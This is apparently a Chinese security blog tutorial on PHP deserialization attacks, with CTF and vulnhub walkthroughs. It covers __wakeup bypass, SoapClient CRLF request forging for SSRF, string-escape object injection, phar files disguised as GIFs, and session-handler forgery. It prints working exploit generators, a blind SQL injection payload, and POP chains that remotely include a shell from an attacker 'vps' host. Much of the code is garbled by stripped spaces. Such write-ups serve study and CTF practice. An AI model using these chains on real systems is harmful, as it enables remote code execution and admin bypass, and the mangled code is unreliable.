php unserialize 非关联数组_原创干货 | php反序列化那些事

43cfd4a76c67ee5cb877e470e0e49b69.gif

点击上方“蓝字”带你去看小星星

adb14e058d77055f43b827e9311d4f2d.png

导图

adb14e058d77055f43b827e9311d4f2d.png

开头一张图,内容全靠编

e5b0c5cffb148609f3f40ea2f5b9a3d3.png

序列化与反序列化

在 PHP中,序列化使用 serialize()函数将对象转化为可传输的字符串,反序列化则使用unserialize() 将字符串还原为对象。

序列化结果分析

解释一下不同数据类型序列化的结果:

<?php Classtest{  public$a= '1';  public$bb= 2;  public$ccc= True;}$r= newtest();echoserialize($r);$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");echoserialize($array_t);

输出结果分别为:

O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}

对于反序列化的结果,第一个字母O 代表 Object,a代表 array,s代表 string,这里没有列举string 的例子是因为没有必要。具体解释如图,array的结果也是类似的,只不过 array是数据类型直接加元素个数。

另外,这里的 4 (第一个,O后面的那个) 可以换成+4,可以用来 bypass。

6afc5f0c5b706a235f42ab56a4bc4259.png

不同类型类属性结果

解释一下类中不同类型属性序列化的结果:

<?php Classtest{  private$a= "a";  protected$b= "b";  public$c= "c";}$r= newtest();echoserialize($r);echourlencode(serialize($r));

输出结果为:

O:4:"test":3:{s:7:"testa";s:1:"a";s:4:"*b";s:1:"b";s:1:"c";s:1:"c";}O%3A4%3A%22test%22%3A3%3A%7Bs%3A7%3A%22%00test%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22c%22%3Bs%3A1%3A%22c%22%3B%7D

把第一个结果进行urlencode 之后和第二个比较,可以发现不一样的。

PHP 序列化的时候 privateprotected 变量会引入不可见字符\00\00test\00a 为private,\00*\00 为protected,注意这两个 \00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url编码后就可以看得很清楚了。

此时,为了更加方便进行反序列化payload 的传输与显示,我们可以在序列化内容中用大写S 表示字符串,此时这个字符串就支持将后面的字符串用16 进制表示。所以一般都会使用urlencode 或者 base64 encode。

关于base64_encode和urlencode处理payload

注意,大写 S表示字符串,后面再跟 \00 在php 5.5 之前可以被成功解释,之后不可以。另外,如果输入内内容是base64 编码之后的结果,那么再进行base64 解码时,原本的 url编码不会被识别。

<?php Class test{  public $a = "a";}// O%3A4%3A%22test%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A1%3A%22a%22%3B%7D$s = "TyUzQTQlM0ElMjJ0ZXN0JTIyJTNBMSUzQSU3QnMlM0ExJTNBJTIyYSUyMiUzQnMlM0ExJTNBJTIyYSUyMiUzQiU3RA==";// 假设 $s 是输入的 payloadvar_dump(unserialize(base64_decode($s)));// 报错var_dump(unserialize(urldecode(base64_decode($s))));// 正确输出

private 变量赋值

在构造 pop链时,private 类型变量最好使用__construct函数来进行赋值,以免出错

如果只是赋值为字符串的话,可以直接赋值;但是如果是类的实例化对象 的话,就要用这种方法。

classUser{  private$name="admin";  private$age;  function__construct(){    $this->age= newAge();  }     function__destruct(){   }}

魔术方法

bc2c4645595b103a8b7d98b0bb74d580.png

code

<?php ClassUser{  public$name= "Bob";  private$id= "417";    function__construct($name){    $this->name= $name;    echo"thisis __construct"."";  }  function__destruct(){    echo"thisis __destruct"."";  }  function__invoke(){    echo"thisis __invoke"."";  }  function__toString(){    return "thisis __toString"."";  }  function__wakeup(){    echo"thisis __wakeup"."";  }  function__sleep(){    echo"thisis __sleep"."";    returnarray("name","id");  }  function__call($name,$args){    echo"thisis __call. name is ".$name."args is ".$args."";  }  function__get($arg){    echo"call__get"."";  }  function__set($name,$id){    echo"call__set"."";  }}$r= newUser("Alice");$r();echo$r;unserialize(serialize($r));$r->print("a");$r->id;$r->id= 1;

输出顺序如下:

thisis __constructthisis __invokethisis __toStringthisis __sleepthisis __wakeupthisis __destructthisis __call.name is printargs is Arraycall__getcall__setthisis __destruct

_sleep() \_construct() 执行前执行,__wakeup() 会在 unserialize()执行前执行,所以 __wakeup() 比__destruct() 提前执行。

__wakeup() bypass

在需要对__wakeup() 进行绕过的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 PHP< 7.0.10。

<?php ClassUser{  public$name="Bob";    function__destruct(){    echo"nameis Bob ";  }    function__wakeup(){    echo"exit";  }}@var_dump(unserialize($_POST["u"]));

POST 参数O:4:"User":1:{s:4:"name";s:3:"Bob";}可以看到输出是:

exitobject(User)[1] public 'name' => string 'Bob' (length=3)nameis Bob

如果在某些情况下,不想让__wakeup() 执行,可以将 "User"后的 2 改为一个比2 大的数字

POST 参数O:4:"User":2:{s:4:"name";s:3:"Bob";}:

nameis Bobbooleanfalse

SoapClient 反序列化与CRLF

SoapClient类 用来提供和使用 webservice。

publicSoapClient::SoapClient(mixed$wsdl[,array$options])

第一个参数为WSDL 文件的 URI ,如果是NULL 意味着不使用 WSDL 模式。

第二个参数是一个数组,如果在WSDL 模式下,这个参数是可选的。如果在non-WSDL 模式下,必须设置location 和 uri 参数,location是要请求的 URL,uri是要访问的资源。

在官方文档中可以看到,它的user_agent 参数是可以控制 HTTP头部的 User-Agent 的。而在HTTP 协议中,header 与body 是用两个 \r\n分隔的,浏览器也是通过这两个 \r\n来区分 header 和body 的。

Theuser_agent option specifies string to use in User-Agent header.

在一个正常的SoapClient 请求中,可以看到,SOAPAction是可控的,尽管 php 报了关于http 头部的 Fatal error 和SoapFault,还是监听到了请求。

<?php $a= array('location'=>'http://127.0.0.1:20000/','uri'=>'user');$x= newSoapClient(NULL,$a);$y= serialize($x);$z= unserialize($y);$z->no_func();

ebebf17807cd4109d340b0441d0d343a.png

这样就有两个地方是可控的,User-Agent和 SOAPAction,明显Content-Type 和 Content-Length 都在User-Agent 之下,用 wupco 师傅的payload 就能进行任意的 POST请求,这里要先 urldecode 才可以进行反序列化。

<?php $target= 'http://127.0.0.1:20000/';$post_string= 'asdfghjkl';$headers= array(   'X-Forwarded-For:127.0.0.1',   'Cookie:admin=1'   );$b= newSoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"peri0d"));$aaa= serialize($b);$aaa= str_replace('^^','%0d%0a',$aaa);$aaa= str_replace('&','%26',$aaa);echo$aaa;$x= unserialize(urldecode($aaa));$x->no_func();

在 index.php处的代码是捕获 http body 并存储到txt 中,先监听一下端口得到请求头,然后再用soap 访问一下 index.php,可以看到成功控制了这个POST 请求。

POST/ HTTP/1.1Host:122.51.18.106:20000Connection:Keep-AliveUser-Agent:wupcoContent-Type:application/x-www-form-urlencodedX-Forwarded-For:127.0.0.1Cookie:admin=1Content-Length:9asdfghjklContent-Type:text/xml; charset=utf-8SOAPAction:"user#no_func"Content-Length:371<?xmlversion ="1.0" encoding="UTF-8"?><SOAP-ENV:Envelopexmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"xmlns:ns1="user"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:no_func/>SOAP-ENV:Body>SOAP-ENV:Envelope>
9ab3c2819a51361f0b1640e351825362.png

[N1CTF2018] Easy&&Hard Php 就用到了这个知识点,那里先是在Db 类的 insert 方法中,会把array(columns) 替换为`userid`,`username`,`signature`,`mood` ,把array(values) 替换为 ('22','user','aa','0' ) 其中会把 `替换为 '

privatefunctionget_column($columns){       if(is_array($columns))           $column= '`'.implode('`,`',$columns).'`';       else           $column= '`'.$columns.'`';       return$column;   }     publicfunctioninsert($columns,$table,$values){       $column= $this->get_column($columns);       $value='('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';       $nid=       $sql= 'insertinto '.$table.'('.$column.')values '.$value;       $result= $this->conn->query($sql);       return$result;   }

最终的 insert语句为如下,在 signature那里就可以触发注入,可以使用is_admin<>0判断 admin ,就可以得到用户名和密码,一个语句如下:

//insert 语句insertinto ctf_user_signature(`userid`,`username`,`signature`,`mood`)values ('22','user','aa','0') //注入语句signature=ss`,if(ascii(substr((selectusername from (SELECT * FROM ctf_users) as x whereis_admin<>0),1,1))=97,SLEEP(3),1))%23

在 user.php中的 showmess() 中会反序列化mood 参数,因此可以构造 payload触发反序列化,再利用上面的SoapClient 就可以触发 SSRF绕过登陆限制。

ss`,payload)%23

PHP 反序列化字符逃逸

在 php的反序列化中,有如下几个特点:

  1. 类中不存在的属性也会进行反序列化;

  2. 对于类和数组的反序列化,以 ;作为字段的分隔,以} 作为结尾,若在 } 后再加数据将直接被丢弃;

  3. 反序列化按照严格的格式进行。

这里举个简单的例子便于理解,更详细的可以阅读这两个帖子详解PHP反序列化中的字符逃逸、 php反序列化字符逃逸(https://xz.aliyun.com/t/6718)。

对于如下代码,如何做到对象注入?直接O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";s:6:"object";s:6:"inject";}就可。

<?php classTest{  public$name= "Bob";  public$password= "123456";}functionfilter($string){  returnstr_replace('xx','y',$string);}$a= $argv[1];var_dump(unserialize(filter($a)));

下面是逃逸内容:

Test 类的一个实例化对象进行序列化之后为O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";}

如果这个字符串中存在一个 xx字符串,在经过 filter()函数操作后,其长度就减少了 1位,比如O:4:"Test":2:{s:4:"name";s:5:"Bobxx";s:8:"password";s:6:"123456";}就变成O:4:"Test":2:{s:4:"name";s:5:"Boby";s:8:"password";s:6:"123456";}

这样 name 字段就多了一个字符,那就是不是可以考虑继续增加xx 的数量,直到 name字段的长度吃掉后面所有的内容,这时,不就可以注入任意内容了吗?

";s:8:"password";s:6:"123456";}长度为 31,也就需要加31 个 xx

O:4:"Test":2:{s:4:"name";s:65:"Bobxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}

经过 filter后就是:

O:4:"Test":2:{s:4:"name";s:65:"Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}

最后输出结果就是:

classTest#1(3) { public$name=> string(65)"Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}" public $password=> string(6) "123456" public $object=> string(6) "inject"}

Phar 反序列化

phar 就是将多个php 文件合成为一个 phar文件,这个类似于 java 中的jar。

phar结构由 4部分组成

  • stub : phar 文件标识,格式为 xxx<?php xxx; _HALTCOMPILER();?>

  • manifest : 压缩文件的属性等信息,以序列化存储;

  • contents : 压缩文件的内容;

  • signature : 签名,放在文件末尾;

引用 : 由PHPGGC 理解 PHP 反序列化漏洞

php 在解析 phar文件的 metadata 时可能会触发反序列化操作,而且phar 会默认注册 phar:// 协议,在用phar:// 协议读取文件的时候会自动解析成phar 对象,同时反序列化其中存储的metadata 信息。

这就意味着如果可以找到一个上传点,上传构造好的phar,然后再找到一个可以触发phar 的点,这就构成了一个利用链。偶然看到了p 神的原话。

1、文件操作函数中的参数可控 。

2、文件有上传点,可上传构造的特殊phar文件 。

3、有可利用的 POP链。

重新认识反序列化-Phar()

生成phar

执行完毕后会生成一个test.phar 文件,其中的 metadata是以序列化的形式出现的。php函数在对 phar 文件进行解析时,就必伴随着反序列化的操作。

xxxxx<?php _HALTCOMPILER(); ?> 为phar 文件首部,xxxxx可以任意修改为其他文件的头,这样就可以伪造成其他文件。

metadata 序列化内容为O:11:"TestObeject":1:{s:4:"data";s:6:"aaaaaa";}

<?php classTestObeject{}$phar= newPhar('test.phar',0,'test.phar');$phar->startBuffering();$phar->setStub('xxxxx<?php__HALT_COMPILER (); ?>');$o= newTestObeject();$o->data='aaaaaa';$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();

469a8a2aec548f9460e5b09f287f3c1a.png

读取phar 文件

以上面生成的phar 为例:

<?php classTestObeject{  publicfunction__destruct(){    echo$this->data;  }}include('phar://test.phar');

输出结果,如果想读取text.txt 需要这样包含include('phar://test.phar/text.txt');

aaaaaa

phar 伪造文件类型

<?php classTestObeject{}$phar= newPhar('test2.phar',0,'test2.phar');$phar->startBuffering();$phar->setStub('GIF89a<?php__HALT_COMPILER (); ?>');$o= newTestObeject();$o->data='xxx';$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();

f01fb0e64eb5906ea26aa42368129913.png

一个案例

代码放在这里了https://github.com/peri0d/phar_test。

主要实现了一个上传功能,在uploadfile.php 使用了白名单的方式。evil.php代码如下,其中 fileexists可以触发 phar 反序列化。

<?php $filename=$_GET['filename'];classAnyClass{   function__destruct()   {       eval($this-> output);   }}file_exists($filename);

使用下面的代码生成phar.phar,改名为 phar.gif再上传,向 evil.php 传参?filename=phar://upload_file/phar.gif即可。

<?php classAnyClass{   function__destruct()   {       eval($this-> output);   }}$phar= newPhar('phar.phar',0,'phar.phar');$phar->startBuffering();$phar->setStub('GIF89a<?php__HALT_COMPILER (); ?>');$o= newAnyClass();$o->output='phpinfo();';$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();

213af7a39cdf49ccb62f6a9a28f4407c.png

phar 反序列化触发函数

利用phar 拓展 php 反序列化漏洞攻击面(https://paper.seebug.org/680/)。

e190dc3e0fb5b48e34ad84d7f640695c.png

finfofile finfobuffer mimecontenttypeinclude php://filter getimagesize getimagesizefromstring

[SUCTF2019] Upload labs2

这一题的思路就是,上传phar 文件,在 func.php 中post 数据php://filter/resource=phar://...触发 class.php 中File 类的 _wakeup(),在\_wakeup() 中触发 SoapClient 反序列化,绕过只能本地访问admin.php 的限制。再上传包含admin.php 中 Ad() 类的phar 文件,向 admin.php传入参数,进行 MySQL Client Attack以 phar:// 方式读取这次上传的phar,进而触发 Ad() 类的__wakeup(),形成一条完整的攻击链。

[LCTF2018] T4lk 1sch34p,sh0w m3 the sh31l

在知道上面这些知识之后再看这个题目,就觉得很简单。首先是获取flag 的条件,出题人已经在K0rz3n_secret_flag类的 __destruct() 函数写出来了include_once($this->file_path);,即远程文件包含 shell。远程包含shell 时候是把 shell 写入txt 而不是 php。

可以远程包含的原因在 upload()里写了,preg_match('/^(http|https).*/i',$_GET['url'])

这里上传的路径表面上无法获取,实际上在cookie 中已经给出了O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Fdata%2Ff528764d624db129b32c21fbca0cb8d6%22%3B%7D-----f56979ade75e2d12c660ea9760664dd9

思路就是想办法触发K0rz3nsecretflag() 类的反序列化,这就可以考虑phar。因为源码中可以触发 phar反序列化的函数有很多,fileexistsgetimagesizecopy......但是,可以利用的只有getimagesizefileexists不能控制 path,copy中不能出现 phar,getimagesize恰好是不允许以 phar 开头,所以可以用compress.zlib://phar://绕过。

最终 exp 如下,改名为avatar.gif 放在 vps 上,然后?m=upload&url=http://vps 上传,最后

?m=check&c=compress.zlib://phar://../data/f528764d624db129b32c21fbca0cb8d6/avatar.gif&a=phpinfo();

<?php classK0rz3n_secret_flag {   protected$file_path= "http://vps/shell.txt";}$phar= newPhar('test.phar',0,'test.phar');$phar->startBuffering();$phar->setStub('GIF89a<?php__HALT_COMPILER (); ?>');$o= newK0rz3n_secret_flag();$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();

后来看了一下github 上的writeup,说是这题出的有问题,是非预期,怪不得感觉不难。

[护网杯2018]easy_laravel

这一题的大概流程就是SQL 注入拿到 admin 的token,admin 的email 是已知的,然后就可以重置密码(登陆界面处 ),之后就可以以admin 登陆。

访问 flag 发现没有flag,提示是 bladeexpired,就可以寻找 phar 反序列化链删除Blade 缓存文件,然后上传 phar文件,在 check 中触发反序列化。

这题主要说的是 Laravel有默认的重置密码机制,也是 email+ token 的形式;其次是 blade缓存的问题,它的缓存位置是storage/framework/views;最后就是很火的 phar 反序列化。

session 反序列化

php 中的session

session可以作为文件存储在服务器的某个目录下,也可以存在数据库中。其中,session文件以 sess_开头,且只含有 a-z,A-Z,0-9,-

session 的存储路径可以在 php.ini中的 session.save_path处配置,也可在脚本中用session_save_path()函数控制。

php session handler

3157eca571d591c7e372ffcf303304d4.png

[HarekazeCTF2019] EasyNotes

详细的 wp可以看 这个文章这里只是总结一下,这是一个很典型的 session 伪造。 首先 session handler 是php,然后是 session 存储的位置,它是和note 导出的压缩包位置相同。然后用get_user()获取注册名,$type获取是 zip 还是tar,这里就可以伪造 session,user为 sess_type 为 .经过 str_replace就变成一个符合 session名称格式的文件,然后就是向 note写入 session 反序列化的内容,伪造admin。

2a45f49753d792da8948079f2ddbb3b8.png

[i-SOON CTF2019]easyserializephp

这个题目表面上在说session ,实际上就是 phparray unserialize,因为它中间有一个$serialize_info= filter(serialize($_SESSION)); 那这就和session handler 没多大关系了。

通过 extract() 变量覆盖可以覆盖session 数组中的 key=>value,不仅仅可以覆盖,还可以增加,这就造成多解。这一题的 filter 函数会把flag, php 等关键词替换为 空这就很明显的 反序列化注入对象。

覆盖是指,覆盖 user 和function 对应的 value,在 user 处插入关键词,进行覆盖,在function 处进行对象注入,如果只利用function 进行逃逸的话,是无法控制对象的注入的。

简化一下就是a:3:{s:4:"user";s:5:"{1}";s:8:"function";s:10:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}在 {1} 处覆盖,使user 的 value 覆盖掉function 字段,然后在 {2}处注入对象,最后就是修改 {2}的内容,使它满足反序列化的规则。

增加是指不修改 user 和function 对应的 value,直接插入新的key=>value,新插入的字段在 img字段之前,所以可以使用这种方法。

这个简化一下就是a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:4:"{1}";s:4:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}同样的 {1} 处覆盖自己的value,{2} 处注入对象并调整内容。

[高校战“疫”2020]hackme

这里就只说前面的部分,后面的ssrf 可以看详细的 wp。

这里就是典型的不同 sessionhandler 对 session 内容有不同的处理,导致的伪造。

在 html 下的php 文件,除了 profile.php是 php的方式,其他都是 php_serialize的方式,也就是说,从登陆到上传签名都是php_serialize 而在查看签名时是php。

在 core 下的文件,都是php 的方式。整体思路就出来了,就是利用这两个不同方式解析的差异去伪造admin。

php的方式name|s:2:"pe";sign|s:7:"xianzhi";admin|i:0;php_serialize的方式a:3:{s:4:"name";s:2:"pe";s:4:"sign";s:7:"xianzhi";s:5:"admin";i:0;}

假设 session为:

a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;";s:7:"xianzhi";s:5:"admin";i:1;}
那么以 php方式解析时的结果为:

317be19900c1d967bdfe29eb107e2e19.png

再看一下 session文件,发现其内容变为如下内容,自动丢弃不符合规定的内容。

a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;

回到题目,在lib.php 的 check_session 函数中,返回admin 的判断条件如下,意思就是在session 数组中再套一层 admin字段。

functioncheck_session($session){   foreach($sessionas$keys=> $values){       foreach($valuesas$key=> $value){           if($key=== 'admin'&& $value=== 1){               returntrue;           }       }   }   returnfalse;}

看一下正常生成的session,sign 和name 是可控的,这里就考虑用sign 字段,因为 name 字段的输入有过滤。

a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:6:"gadsaf";s:5:"admin";i:0;}

在 upload功能处,提交|N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;}这样 session 就是。

a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:44:"|N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;}

经过 php方式解析后就符合条件了。

[vulnhub] serial1

这是 vulnhub上一个关于 php unserialize的靶机,这里就直接给源码了,很简单,暂未做任何修改。代码测试要开启allowurlfopen 和 allowurlinclude

靶机地址 :https://www.vulnhub.com/entry/serial-1,349/

源码地址 :https://github.com/peri0d/vulnhub_serial1

index.php 是对 cookie 中的user 字段进行 base64 decode加反序列化,这是可控输入。

<?php include("user.class.php");if(!isset($_COOKIE['user'])){  setcookie("user",base64_encode(serialize(newUser('sk4'))));}else{  unserialize(base64_decode($_COOKIE['user']));}echo"Thisis a beta test for new cookie handler\n";

user.class.php 定义两个类User 和 Welcome。

<?php include("log.class.php");classWelcome{  publicfunctionhandler($val){    echo"Hello".$val. "......";  }}classUser{  private$name;  private$wel;    function__construct($name){    $this->name= $name;    $this->wel= newWelcome();  }    function__destruct(){    $this->wel->handler($this->name);  }}

log.class.php 定义Log 类。

<?php classLog{  private$type_log;    function__construct($hnd){    $this->type_log= $hnd;  }    publicfunctionhandler($val){    include($this->type_log);    echo"LOG:". $val;  }}

很明显第三个类是给我们利用的,因为前两个文件都没有用到第三个,并且Welcome 类和 Log 类都有handler 函数,而在 User类的析构函数中调用了 wel 实例化对象的handler 函数。

Log 类的 handler 函数有include 函数,这样的话攻击链就很明显了,用User 的析构函数触发 Log 的handler 函数去包含构造的 shell文件,修改一下 cookie 即可。

<?php classLog{  private$type_log= "http://vps/shell.txt";}classUser{  private$name;  private$wel;  function__construct(){    $this->name= "admin";    $this->wel= newLog();  }}$a= newUser();echobase64_encode(serialize($a));
最后

反序列化要多多关注 __destruct 和 __wakeup 函数。

尽量选择简单的函数去构造 pop 链。

参考

https://xz.aliyun.com/t/2148#toc-0

https://xz.aliyun.com/t/6057

https://xz.aliyun.com/t/6699#toc-5

https://blog.zsxsoft.com/post/38

https://xz.aliyun.com/t/6911#toc-3

https://lorexxar.cn/2020/01/14/css-mysql-chain/

https://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/

7bd5b1930457713ce19986fd52c3b77f.gif 浅析SMB relay攻击手法 三娃为救爷爷大战蛇精,六娃偷看挖到了鹅厂的好多XSS 从RMI入门到fastjson反序列化RCE cb7c4b5ad25f0d499555d9866ec8a5c2.png 扫码关注我们 学习安全技术知识 每周一、三、五更新好看的人才能点 b5a95ec643c719341a398a28dc5516d4.gif
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值